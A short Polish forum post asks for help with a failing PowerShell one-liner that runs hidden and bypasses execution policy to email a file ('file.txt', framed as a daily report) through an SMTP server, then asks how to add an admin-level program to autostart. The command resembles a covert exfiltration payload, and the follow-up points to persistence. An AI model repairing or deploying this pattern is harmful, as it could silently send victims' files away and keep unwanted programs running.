Witam.
Chce sobie wysłać maila powershellem, ale ciągle wyskakuje mi błąd:
powershell : At line:1 char:371
At line:2 char:1
+ powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (At line:1 char:371:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
+ ... hed is your daily report.'; .Attachments.Add('file.txt'); .Send()
+ ~
An expression was expected after '('.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ExpectedExpression
kod:
powershell -NoP -NonI -W Hidden -Exec Bypass \"$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.wp.pl', 465); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('username', 'password'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'mail'; $ReportEmail.To.Add('mail'); $ReportEmail.Subject = 'Title'; $ReportEmail.Body = 'Hello World!'; $ReportEmail.Attachments.Add('file.txt'); $SMTPInfo.Send($ReportEmail)"
mam jeszcze jedno pytanko, a mianowicie, czy jest możliwość przez powershella dodać program(potrzebyjący uprawień admina) do autostartu?